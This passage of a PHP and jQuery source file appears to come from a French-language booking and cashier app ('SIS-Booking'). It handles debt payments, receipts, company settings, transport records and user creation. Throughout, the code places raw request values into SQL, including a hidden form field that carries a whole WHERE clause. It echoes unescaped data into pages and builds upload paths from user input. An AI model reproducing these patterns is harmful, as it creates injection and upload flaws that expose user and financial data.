$('#client_montant_paye').val(); if(client_montant_paye !==''){ $.ajax({ url: 'fonction/save.php', type:'POST', contentType: false, // obligatoire pour de l'upload processData: false, // obligatoire pour de l'upload data: data, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); $('#multy_pay').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(response){ $('#notification-rep').html(""); $('#multy_pay').html(response); refresh_cash(); } }); } else { $('.notification-rep').html($.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Paiement Facture",text:"Commpletez le Montant réçu !",class_name:"color warning",time:"10000"}));} }); $("#client_montant_paye").keyup(function(e){ e.preventDefault(); var a_payer = parseFloat($('#a_payer').val()), client_montant_paye = parseFloat($('#client_montant_paye').val()); if(client_montant_paye > a_payer){ $('#notification-rep').html($.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Paiement Facture",text:"Le montant entrée est superieur à la dette du client !",class_name:"color warning",time:"10000"})); $("#client_montant_paye").val(a_payer); } }); $("#voir_fact").click(function(e){ e.preventDefault(); var code_client = $('#code_client').val(), client_montant_paye = $('#client_montant_paye').val(), type="list_of_bill_pay"; if(client_montant_paye!=="" && client_montant_paye > 0){ $.ajax({ url: 'fonction/save.php', type: 'POST', data: {client_montant_paye:client_montant_paye,code_client:code_client,type:type}, beforeSend:function(){ $('#fact_payable').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#fact_payable').html(data); $('#notification-rep').html(""); } }); } else { $('#notification-rep').html($.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Paiement Facture",text:"Commpletez le Montant réçu !",class_name:"color warning",time:"10000"}));} }); </script><?php } else if($type=="list_of_bill_pay") { $montant_paye = $_POST['client_montant_paye']; $code_client = $_POST['code_client']; $sqls=$bd->query("SELECT * ,DATE_FORMAT(date_octroi,'%d/%m/%Y') date_octroi,D.numero_facture,SUM(IFNULL(PD.montant_paye,0)) dja,(D.montant - SUM(IFNULL(PD.montant_paye,0))) solde FROM (dettes D LEFT JOIN payement_dette PD ON D.numero_facture = PD.numero_facture)INNER JOIN facture F ON D.numero_facture = F.numero_facture WHERE ".$code_client." GROUP BY D.numero_facture ORDER BY D.date_octroi ASC"); ?> <div class="col-sm-12"> <?php $i=0; $now = $montant_paye; while($rss=$sqls->fetch()) { $i++; if($rss["dja"]==null){$dja=0; $solde=$rss['montant']; } else {$dja=$rss['dja']; $solde=$rss['solde']; } if($now > $solde && $solde > 0){ $now = $now - $solde; $payement = $solde; ?> <div class="col-md-4"> <div class="panel panel-border-color panel-border-color-primary" style="background-color:#e2e0ff;"> <div class="panel-heading panel-heading-divider text-center" style="font-size:12px;padding:2px;">Facture N° <?php echo $rss['code_fact']."<br> du ".$rss['date_octroi'];?></div> <div class="panel-body"> <p> Payé: <?php echo number_format($payement,"2","."," ");?> $ / <?php echo number_format($solde,"2","."," ");?> $</p> </div> </div> </div> <?php } else if($now <= $solde && $solde > 0){ $payement = $now; $now = $now - $solde; ?> <div class="col-md-4"> <div class="panel panel-border-color panel-border-color-primary" style="background-color:#e2e0ff;"> <div class="panel-heading panel-heading-divider text-center" style="font-size:12px;padding:2px;">Facture N° <?php echo $rss['code_fact']."<br> du ".$rss['date_octroi'];?></div> <div class="panel-body"> <p> Payé: <?php echo number_format($payement,"2","."," ");?> $ / <?php echo number_format($solde,"2","."," ");?> $</p> </div> </div> </div> <?php } if($now <= 0){ break;} } ?> </div><?php } else if($type=="client_credit_paye") { $montant_paye = $_POST['client_montant_paye']; $code_client = $_POST['code_client']; $sqls=$bd->query("SELECT * ,DATE_FORMAT(date_octroi,'%d/%m/%Y') date_octroi,D.numero_facture,SUM(IFNULL(PD.montant_paye,0)) dja,(D.montant - SUM(IFNULL(PD.montant_paye,0))) solde FROM (dettes D LEFT JOIN payement_dette PD ON D.numero_facture = PD.numero_facture)INNER JOIN facture F ON D.numero_facture = F.numero_facture WHERE ".$code_client." GROUP BY D.numero_facture ORDER BY D.date_octroi ASC"); $now = $montant_paye; $reste=''; $recu_g= date("Hisdmy"); while($rss=$sqls->fetch()) { if($rss["dja"]==null){$dja=0; $solde=$rss['montant']; } else {$dja=$rss['dja']; $solde=$rss['solde']; } if($now > $solde && $solde > 0){ $now = $now - $solde; $payement = $solde; $solde_p=0; $montant_du = $rss['montant']; $numero_facture= $rss['numero_facture']; $montant_paye= $payement; $date_paye= date("Y-m-d"); $montant_fr= 0; $username=$_SESSION['username']; $code_guichet=$_SESSION['cd_gui']; $bd->exec("INSERT INTO payement_dette VALUE (null,'".$date_paye."',".$montant_du.",".$montant_paye.",".$solde_p.",'".$recu_g."',".$montant_fr.",'".$numero_facture."',".$code_guichet.",'".$username."') "); if($solde_p<=0){ $bd->exec("UPDATE dettes SET statut ='ok' WHERE numero_facture = '".$numero_facture."' "); } } else if($now <= $solde && $solde > 0){ $payement = $now; $now = $now - $solde; $solde_p = $solde - $payement; $montant_du = $rss['montant']; $numero_facture= $rss['numero_facture']; $montant_paye= $payement; $date_paye= date("Y-m-d"); $montant_fr= 0; $username=$_SESSION['username']; $code_guichet=$_SESSION['cd_gui']; $bd->exec("INSERT INTO payement_dette VALUE (null,'".$date_paye."',".$montant_du.",".$montant_paye.",".$solde_p.",'".$recu_g."',".$montant_fr.",'".$numero_facture."',".$code_guichet.",'".$username."') "); if($solde_p<=0){ $bd->exec("UPDATE dettes SET statut ='ok' WHERE numero_facture = '".$numero_facture."' "); } } if($now <= 0){ break;} } if($now > 0){ $_POST['client_montant_paye']=$_POST['client_montant_paye'] - $now; $reste="Vous allez remettre au client ".number_format($now,"2","."," ");}?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({ title:'SIS-Booking | Paiement Crédit', text:'Le paiement vien d\'être enregisté avec Succès ! <hr> <br> Montant Payé : <?php echo $_POST["client_montant_paye"];?><br> <?php echo $reste;?> ', class_name:'color success', time:'15000' }); multy_receipt_print("<?php echo $recu_g;?>"); </script><?php } else if($type=="print_multy_receipt") { $swali0=$bd->query("SELECT * FROM maison"); $jibu0=$swali0->fetch(); $maison=$jibu0['nom_societe']; $logo=$jibu0['logo']; $rccm=$jibu0['registre_commerce']; $adress=$jibu0['adresse_physique']; $contact=$jibu0['telephone']; $mail=$jibu0['mail']; $nat=$jibu0['id_nationnal']; $impo=$jibu0['num_impot']; $code_guichet = $_SESSION['cd_gui'];?> <i> <?php echo "<table class='ec' style='font-size:12'> <tr><th rowspan=4> <img src='$logo' style='width:80px'/> </th></tr> <tr><th><b style='font-size:30px'> $maison </b></th></tr> <tr><th> $rccm |<br/>$nat |<br/>$impo |</th></tr> <tr><th> $adress </th></tr></table>"; $TG=$TGdol=0; $rqt=$bd->query("SELECT * FROM dettes D LEFT JOIN payement_dette PD ON D.numero_facture = PD.numero_facture WHERE PD.montant_dol = '".$_POST['num_receipt']."' "); $rs=$rqt->fetch(); $type_crediteur = $rs['type_crediteur']; if($type_crediteur=="client"){$cle="code_client";}else{$cle="code_pdv";} $sql=$bd->query("SELECT * ,SUM(PD.montant_paye) MONTANT_PAYE FROM (dettes D LEFT JOIN payement_dette PD ON D.numero_facture = PD.numero_facture) INNER JOIN ".$type_crediteur." C ON C.".$cle." = D.".$cle." WHERE PD.montant_dol ='".$_POST['num_receipt']."' GROUP BY D.".$cle); $rep=$sql->fetch(); $hist= $bd->query("SELECT * ,IFNULL(SUM(PD.montant_paye),0) MONTANT_PAYE FROM dettes D LEFT JOIN payement_dette PD ON D.numero_facture = PD.numero_facture WHERE D.".$cle." = '".$rep[$cle]."' "); $htrq=$hist->fetch(); $qstss= $bd->query("SELECT IFNULL(SUM(D.montant),0) MONTANT FROM dettes D WHERE D.".$cle." = ".$htrq[$cle]." "); $reppp=$qstss->fetch(); ?> <h2> RECU Code : <?php echo $_POST['num_receipt'];?></h2> du <i><?php echo $rep['date_paye'];?></i><br><hr> <table class='table table-condensed table-bordered' style="font-size:12px"> <thead> <tr> <th> Nom <?php echo $type_crediteur;?> </th> <th colspan=3> <?php echo $rep[str_replace("code","nom",$cle)];?> </th> </tr> <tr> <th> Montant payé </th> <th colspan=3 class="number"> <?php echo $rep['MONTANT_PAYE'];?> </th> </tr> <tr> <th> Solde </th> <th colspan=3 class="number"> <?php echo number_format($reppp['MONTANT']- $htrq['MONTANT_PAYE'],"2","."," ");?> $ </th> </tr> <tr> <th colspan=4 class="text-center"> </th> </tr> <tr> <th> N° Recu </th> <th> N° Fact </th> <th class="number"> Montant payé </th> <th class="number"> Solde </th> </tr> </thead> <tbody><?php $sqls=$bd->query("SELECT * FROM ((dettes D LEFT JOIN payement_dette PD ON D.numero_facture = PD.numero_facture) INNER JOIN ".$type_crediteur." C ON C.".$cle." = D.".$cle.") INNER JOIN facture F ON F.numero_facture = D.numero_facture WHERE PD.montant_dol ='".$_POST['num_receipt']."' "); while($reps=$sqls->fetch()){ ?> <tr> <td> <?php echo $reps['code_paye'];?> </td> <td> <?php echo $reps['code_fact'];?> </td> <td class="number"> <?php echo number_format($reps['montant_paye'],"2","."," ");?> $</td> <td class="number"> <?php echo number_format($reps['solde'],"2","."," "); ?> $</td> </tr><?php } ?> </tbody> </table> <div align="right"><i>Pour la Claisse <br><?php echo $_SESSION['username']; ?></i></div> <hr><span style="padding:1px;"> -- <?php echo $maison.", ".$contact." | ".$mail;?> --</span> <script type="text/javascript"> $("#facture_print").removeClass("hidden"); $.print("#facture_print"); $("#facture_print").addClass("hidden"); </script><?php } else if($type=="search_pdv_payement") { $search_dette = $_POST['search_dette'];?> <table class="table table-condensed table-bordered table-hover" style="font-size:12px"> <thead> <tr> <th> # </th> <th class="text-center"> Point de vente </th> <th class="text-center"> Adresse </th> <th class="text-center"> Montant </th> <th class="text-center"> Payé </th> <th> Solde </th> </tr> </thead> <tbody> <?php $hist= $bd->query("SELECT * ,IFNULL(SUM(PD.montant_paye),0) MONTANT_PAYE FROM (point_vente P INNER JOIN dettes D ON P.code_pdv = D.code_pdv) LEFT JOIN payement_dette PD ON D.numero_facture = PD.numero_facture WHERE D.code_pdv = '".$search_dette."' OR P.nom_pdv LIKE '%".$search_dette."%' GROUP BY D.code_pdv DESC"); if($hist->rowCount()>0){ $i=0; while($htrq=$hist->fetch()){ $i++; $qst= $bd->query("SELECT * ,IFNULL(SUM(D.montant),0) MONTANT FROM dettes D WHERE D.code_pdv = ".$htrq['code_pdv']." "); $rep=$qst->fetch(); // $rqt=$bd->query("SELECT SUM(montant_paye) reduit FROM payement_dette P INNER JOIN dettes D ON P.numero_facture = D.numero_facture WHERE P.code_guichet = 0 AND D.code_malade = ".$htrq['code_malade']." "); $tion=$rqt->fetch(); $reduit = $tion['reduit']; ?> <tr class="line_pay_pdv" id="line_pay_pdv<?php echo $htrq['code_pdv'];?>"> <td> <a href="#"><?php echo $htrq['code_pdv'];?></a></td> <td> <?php echo $htrq['nom_pdv'];?></td> <td> <?php echo $htrq['adresse'];?></td> <td class="number"> <?php echo number_format($rep["MONTANT"],"2","."," ");?> $</td> <td class="number"> <?php echo number_format($htrq['MONTANT_PAYE'],"2","."," ");?> $</td> <td class="number"> <?php echo number_format($rep['MONTANT']- $htrq['MONTANT_PAYE'],"2","."," ");?> $</td> </tr> <?php } } else { echo " <tr> <th colspan=5 class='text-center'> pas d'information. <br> Merci. </th> </tr>"; } ?> </tbody> </table> <script type="text/javascript"> $(".line_pay_pdv").click(function(e){ var compteur=this.id, code_pdv = compteur, type="charge_dette_pdv_for_pay"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_pdv:code_pdv,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#multy_pay').html(data); $('#notification-rep').html(""); } }); }); </script><?php } else if($type=="charge_dette_pdv_for_pay") { $code_pdv = preg_replace("#line_pay_pdv#","",$_POST['code_pdv']); ?> <form action="#" data-parsley-validate="" novalidate="" method='POST' enctype='multipart/form-data' id="pdv_credit_payement"> <input type="hidden" name="type" value="client_credit_paye"> <?php $hist= $bd->query("SELECT * ,IFNULL(SUM(PD.montant_paye),0) MONTANT_PAYE FROM (point_vente P INNER JOIN dettes D ON P.code_pdv = D.code_pdv) LEFT JOIN payement_dette PD ON D.numero_facture = PD.numero_facture WHERE D.code_pdv = '".$code_pdv."' GROUP BY D.code_pdv DESC"); $htrq=$hist->fetch(); $qst= $bd->query("SELECT * ,IFNULL(SUM(D.montant),0) MONTANT FROM dettes D WHERE D.code_pdv = ".$htrq['code_pdv']." "); $rep=$qst->fetch(); // $rqt=$bd->query("SELECT SUM(montant_paye) reduit FROM payement_dette P INNER JOIN dettes D ON P.numero_facture = D.numero_facture WHERE P.code_guichet = 0 AND D.code_malade = ".$htrq['code_malade']." "); $tion=$rqt->fetch(); $reduit = $tion['reduit']; ?> <div class="panel-body"> <table class="table table-condensed table-hover table-bordered table-striped"> <tbody> <tr> <th> Point de vente N° </th> <td><?php echo $htrq['code_pdv'];?> <input type='hidden' name='code_client' id='code_client' value='<?php echo "D.code_pdv =".$htrq['code_pdv']." ";?>'></td> </tr> <tr> <th> Nom PDV </th> <td><?php echo $htrq['nom_pdv'];?></td> </tr> <tr> <th> Montant total </th> <td class="number"><?php echo number_format($rep["MONTANT"],"2","."," ");?> USD </td> </tr> <tr> <th> Montant déjà payé</th> <td class="number"><?php echo number_format($htrq["MONTANT_PAYE"],"2","."," ");?> USD </td> </tr> <tr> <th> Solde à payer</th> <td class="number"><?php echo number_format($rep['MONTANT']- $htrq['MONTANT_PAYE'],"2","."," ");?> USD <input type="hidden" id="a_payer" value="<?php echo $rep['MONTANT']- $htrq['MONTANT_PAYE'];?>"> </td> </tr> </tbody> </table> </div> <table class="table table-condensed table-striped"> <tbody> <tr> <td> Montant Récu </td> <td colspan="3"> <div class="input-group xs-mb-15" style="width:100%"> <input class="form-control" type="number" name="client_montant_paye" id="client_montant_paye" parsley-trigger="change" required="" placeholder=" La somme que vous vennez de percevoir" autocomplete="off" style="border-radius:10px;"><span class="input-group-btn"> <button type="button" class="btn btn-primary" id="voir_fact" style="border-radius:10px;"><i class="mdi mdi-format-list-numbered"></i> Facture à payer</button></span> </div> </td> </tr> <tr> <td colspan="4" id="fact_payable"> </td> </tr> <tr> <td colspan="4"> <div class="col-lg-5"> <button type="button" class="btn btn-danger pull-left" title="En cliquant ici, vous annulez le payement" id="btn_cancel_pay_ml"> <i class="glyphicon glyphicon-user"></i> Annuler </a></center> </div> <div class="col-lg-7"> <button type="submit" class="btn btn-success pull-right" id="confirm_bills" title="En cliquant ici, vous affirmez avoir reçu la somme renseignée ci-haut"> <i class="glyphicon glyphicon-ok"></i> Confimer le Payement </button> </div> </td> </tr> </tbody> </table> </form> <script type="text/javascript"> $('#pdv_credit_payement').on('submit', function(e) { e.preventDefault(); var $form = $(this); var formdata = (window.FormData) ? new FormData($form[0]) : null; var data = (formdata !== null) ? formdata : $form.serialize(); var client_montant_paye = $('#client_montant_paye').val(); if(client_montant_paye !==''){ $.ajax({ url: 'fonction/save.php', type:'POST', contentType: false, // obligatoire pour de l'upload processData: false, // obligatoire pour de l'upload data: data, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); $('#multy_pay').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(response){ $('#notification-rep').html(""); $('#multy_pay').html(response); refresh_cash(); } }); } else { $('.notification-rep').html($.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Paiement Facture",text:"Commpletez le Montant réçu !",class_name:"color warning",time:"10000"}));} }); $("#client_montant_paye").keyup(function(e){ e.preventDefault(); var a_payer = parseFloat($('#a_payer').val()), client_montant_paye = parseFloat($('#client_montant_paye').val()); if(client_montant_paye > a_payer){ $('#notification-rep').html($.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Paiement Facture",text:"Le montant entrée est superieur à la dette du client !",class_name:"color warning",time:"10000"})); $("#client_montant_paye").val(a_payer); } }); $("#voir_fact").click(function(e){ e.preventDefault(); var client_montant_paye = $('#client_montant_paye').val(), code_client = $('#code_client').val(), type="list_of_bill_pay"; if(client_montant_paye!=="" && client_montant_paye > 0){ $.ajax({ url: 'fonction/save.php', type: 'POST', data: {client_montant_paye:client_montant_paye,code_client:code_client,type:type}, beforeSend:function(){ $('#fact_payable').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#fact_payable').html(data); $('#notification-rep').html(""); } }); } else { $('#notification-rep').html($.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Paiement Facture",text:"Commpletez le Montant réçu !",class_name:"color warning",time:"10000"}));} }); </script><?php } /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++ VERSEMENT GUICHET +++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++ENTREE HORS VERSEMENT GUICHET ++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++ SORTIE CASH CAISSE ++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++ TRANSFERT CASH CAISSE ++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++ CONFIGURATION DES UTILISATEUR +++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ else if($type == "save_info_structure") { $test=$bd->query("SELECT * FROM maison WHERE code_maison = 1"); if($test->rowCount() < 1) { // Telechargement photo if (isset($_FILES['logo']) AND $_FILES['logo']['error'] == 0) { // si le fichier n'est pas trop gros if ($_FILES['logo']['size'] <= 1048570){ // si l'extension est autorisée $infosfichier = pathinfo($_FILES['logo']['name']); $extension_upload = $infosfichier['extension']; $extensions_autorisees = array('JPG', 'jpg', 'jpeg', 'gif', 'png', 'PNG', 'JPEG'); if (in_array($extension_upload, $extensions_autorisees)) { // valide le fichier et le stocker définitivement move_uploaded_file($_FILES['logo']['tmp_name'], '../../images/maison/'.$_POST['nom_societe'].date('YMDhis').'.'.$extension_upload); } $logo = '../images/maison/'.$_POST['nom_societe'].date('YMDhis').'.'.$extension_upload; } else { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | IMAGE",text:"Image non téléchargée ! Votre fichier est tres volumineux (Superieur à 10 Mb)!",class_name:"color danger",time:"10000"}); </script> <?php $logo = '../assets/img/logo-xx.PNG'; } } else { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | IMAGE",text:"Image non téléchargée ! Il y a eu une erreur lors du telechargement !",class_name:"color danger",time:"10000"}); </script> <?php } $nom_societe=addslashes($_POST['nom_societe']); $registre_commerce=addslashes($_POST['registre_commerce']); $id_national=addslashes($_POST['id_national']); $num_impot=addslashes($_POST['num_impot']); $autorisation_fct=addslashes($_POST['autorisation_fct']);$adresse_physique=addslashes($_POST['adresse_physique']); $telephone=addslashes($_POST['telephone']);$mail=addslashes($_POST['mail']); $site=addslashes($_POST['site']); $logo = '../images/maison/' .$_POST['nom_societe']. date('YMDhis').'.'.$extension_upload; $bd->exec("INSERT INTO maison VALUE(1,'".$nom_societe."','".$registre_commerce."','".$id_national."','".$num_impot."','".$autorisation_fct."','".$adresse_physique."','".$telephone."','".$mail."','".$site."','".$logo."')"); } else { if (isset($_FILES['logo']) AND $_FILES['logo']['error'] == 0) { // si le fichier n'est pas trop gros if ($_FILES['logo']['size'] <= 1048570){ // si l'extension est autorisée $infosfichier = pathinfo($_FILES['logo']['name']); $extension_upload = $infosfichier['extension']; $extensions_autorisees = array('JPG', 'jpg', 'jpeg', 'gif', 'png', 'PNG', 'JPEG'); if (in_array($extension_upload, $extensions_autorisees)) { // valide le fichier et le stocker définitivement move_uploaded_file($_FILES['logo']['tmp_name'], '../../images/maison/'.$_POST['nom_societe'].date('YMDhis').'.'.$extension_upload); } $logo = '../images/maison/'.$_POST['nom_societe'].date('YMDhis').'.'.$extension_upload; } else { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | IMAGE",text:"Image non téléchargée ! Votre fichier est tres volumineux (Superieur à 10 Mb)!",class_name:"color danger",time:"10000"}); </script> <?php $logo = '../assets/img/logo-xx.PNG'; } } else { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | IMAGE",text:"Image non téléchargée ! Il y a eu une erreur lors du telechargement !",class_name:"color danger",time:"10000"}); </script> <?php } $nom_societe=addslashes($_POST['nom_societe']); $registre_commerce=addslashes($_POST['registre_commerce']); $id_national=addslashes($_POST['id_national']); $num_impot=addslashes($_POST['num_impot']); $autorisation_fct=addslashes($_POST['autorisation_fct']);$adresse_physique=addslashes($_POST['adresse_physique']); $telephone=addslashes($_POST['telephone']);$mail=addslashes($_POST['mail']); $site=addslashes($_POST['site']); $bd->exec("UPDATE maison SET nom_societe ='".$nom_societe."', registre_commerce = '".$registre_commerce."', id_nationnal = '".$id_national."', num_impot = '".$num_impot."', autorisation_fct = '".$autorisation_fct."', adresse_physique = '".$adresse_physique."', telephone = '".$telephone."', mail = '".$mail."', site = '".$site."',logo = '".$logo."' WHERE code_maison =1"); } $qst=$bd->query("SELECT * FROM maison"); $rep=$qst->fetch(); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG STRUCTURE",text:"Les information sur la maison ont été enregistrer. Merci",class_name:"color success",time:"10000"}); </script> <table class="no-border no-strip skills table-condensed"> <tbody class="no-border-x no-border-y"> <tr> <td class="icon text-center" colspan=3> <img src="<?php echo $rep['logo'];?>" class="mdi mdi-case" width='50%'> </td> </tr> <tr> <td class="icon"><span class="mdi mdi-hospital-alt"> </span></td> <td class="item"> Nom de la Structure <span class="icon s7-portfolio"></span></td> <td> <?php echo $rep['nom_societe'];?> </td> </tr> <tr> <td class="icon"><span class="mdi mdi-file"> </span></td> <td class="item"> RCCM <span class="icon s7-portfolio"></span></td> <td> <?php echo $rep['registre_commerce'];?> </td> </tr> <tr> <td class="icon"><span class="mdi mdi-flag"> </span></td> <td class="item"> Identification Nationale <span class="icon s7-portfolio"></span></td> <td> <?php echo $rep['id_nationnal'];?> </td> </tr> <tr> <td class="icon"><span class="mdi mdi-file"> </span></td> <td class="item"> Numero Impôt <span class="icon s7-portfolio"></span></td> <td> <?php echo $rep['num_impot'];?> </td> </tr> <tr> <td class="icon"><span class="mdi mdi-pin"> </span></td> <td class="item"> Adresse Physique <span class="icon s7-gift"></span></td> <td> <?php echo $rep['adresse_physique'];?> </td> </tr> <tr> <td class="icon"><span class="mdi mdi-smartphone-android"></span></td> <td class="item">Mobile<span class="icon s7-phone"> </span></td> <td> <?php echo $rep['telephone'];?> </td> </tr> <tr> <td class="icon"><span class="mdi mdi-email"> </span></td> <td class="item"> Adresse Mail <span class="icon s7-map-marker"></span></td> <td> <?php echo $rep['mail'];?> </td> </tr> <tr> <td class="icon"><span class="mdi mdi-globe"> </span></td> <td class="item"> Website <span class="icon s7-global"></span></td> <td> <?php echo $rep['site'];?> </td> </tr> </tbody> </table><?php } else if($type=="save_transport") { $code_transport = $_POST['code_transport']; $type_transport = $_POST['type_transport']; $capacite = $_POST['capacite']; $detail = $_POST['detail']; if($code_transport == "" OR $type_transport == " "){} else{ $qst=$bd->query("SELECT * FROM moyen_transport WHERE code_transport = '".$code_transport."' "); if($qst->rowCount()>0) { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({ title:'SIS-Booking | TRANSPORT', text:'Le transport immatriculé<?php echo $code_transport; ?> existe déjà !', class_name:'color danger', time:'10000'}); </script> <?php } else { $bd->exec("INSERT INTO moyen_transport VALUE ('".$code_transport."','".$type_transport."','".$capacite."','".$detail."') "); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({ title:'SIS-Booking | TRANSPORT', text:'Le <?php echo $type_transport." - ".$code_transport; ?> vient d\'etre enregistré avec succès !', class_name:'color success', time:'15000'}); $(".champ").val(""); </script><?php } } $qst=$bd->query("SELECT * FROM moyen_transport ORDER BY code_transport"); ?> <table class="table table-striped table-hover table-condensed"> <thead> <tr> <th> </th> <th> Immaticulation </th> <th> Type </th> <th> Capacité </th> <th> Detail </th> </tr> </thead> <tbody> <?php $i=0; while($rep=$qst->fetch()) { $i++; ?> <tr> <td> <?php echo $i;?> </td> <td> <?php echo $rep['code_transport'];?> </td> <td> <?php echo $rep['type_transport'];?></td> <td> <?php echo $rep['capacite'];?></td> <td> <?php echo $rep['detail'];?></td> <td class="text-right"> <button type="button" class="btn btn-primary edit_t" id="edit_t<?php echo str_replace(" ","__",$rep['code_transport']); ?>" style="border-radius:10px;"><i class="mdi mdi-edit"></i></button> </td> </tr><?php } ?> </tbody> <tfoot> <tr> <th colspan=3> Nombre total </th> <th> <?php echo $qst->rowCount(); ?> </th> </tr> </tfoot> </table> <script type="text/javascript"> $(".edit_t").click(function(e){ var compteur=this.id, code_transport = compteur, type="charge_transport_for_edit"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_transport:code_transport,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(data); } }); }); </script><?php } else if($type=="charge_transport_for_edit") { $code_transport = preg_replace("#__#"," ",preg_replace("#edit_t#","",$_POST['code_transport'])); $qst=$bd->query("SELECT * FROM moyen_transport WHERE code_transport = '".$code_transport."' "); $rep=$qst->fetch(); ?> <script type="text/javascript"> $("#edit_trans").removeClass("hidden"); $("#new_trans").addClass("hidden"); $("#e_code_transport").val("<?php echo $rep['code_transport'];?>"); $("#e_type_transport").val("<?php echo $rep['type_transport'];?>"); $("#e_capacite").val("<?php echo $rep['capacite'];?>"); $("#e_detail").val("<?php echo $rep['detail'];?>"); </script> <?php } else if($type=="update_transport") { $code_transport=addslashes($_POST['code_transport']); $type_transport=addslashes($_POST['type_transport']); $capacite=addslashes($_POST['capacite']); $detail=addslashes($_POST['detail']); $bd->exec("UPDATE moyen_transport SET type_transport = '".$type_transport."', capacite = '".$capacite."', detail = '".$detail."' WHERE code_transport = '".$code_transport."' "); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG TRANSPORT",text:"Les modifications apportées sur le transport <?php echo $type_transport.' - '.$code_transport; ?> viennent d'être eneregistées avec succes ! Merci ",class_name:"color success",time:"10000"}); $(".champt").val(''); $("#new_trans").removeClass("hidden"); $("#edit_trans").addClass("hidden"); </script> <?php } /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++ CONFIGURATION DES UTILISATEURS +++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ else if($type=="save_new_user") { $test=$bd->query("SELECT * FROM user WHERE username = '".$_POST['username']."' OR mail = '".$_POST['mail']."' "); if($test->rowCount()<1){ // Telechargement photo if (isset($_FILES['logo']) AND $_FILES['logo']['error'] == 0) { // si le fichier n'est pas trop gros $infosfichier = pathinfo($_FILES['logo']['name']); if ($_FILES['logo']['size'] <= 102400000){ // si l'extension est autorisée $infosfichier = pathinfo($_FILES['logo']['name']); $extension_upload = $infosfichier['extension']; $extensions_autorisees = array('JPG', 'jpg', 'jpeg', 'gif', 'png', 'PNG'); if (in_array($extension_upload, $extensions_autorisees)) { // valide le fichier et le stocker définitivement move_uploaded_file($_FILES['logo']['tmp_name'], '../images/user/'.$_POST['username'].date('YMDhis').'.'.$extension_upload); } $photo = 'images/user/'.$_POST['username']. date('YMDhis').'.'.$extension_upload; } $username=addslashes($_POST['username']); $nom_complet=addslashes($_POST['nom_complet']); $type_user=addslashes($_POST['type_user']); $password=addslashes($_POST['password']); $mail=addslashes($_POST['mail']); 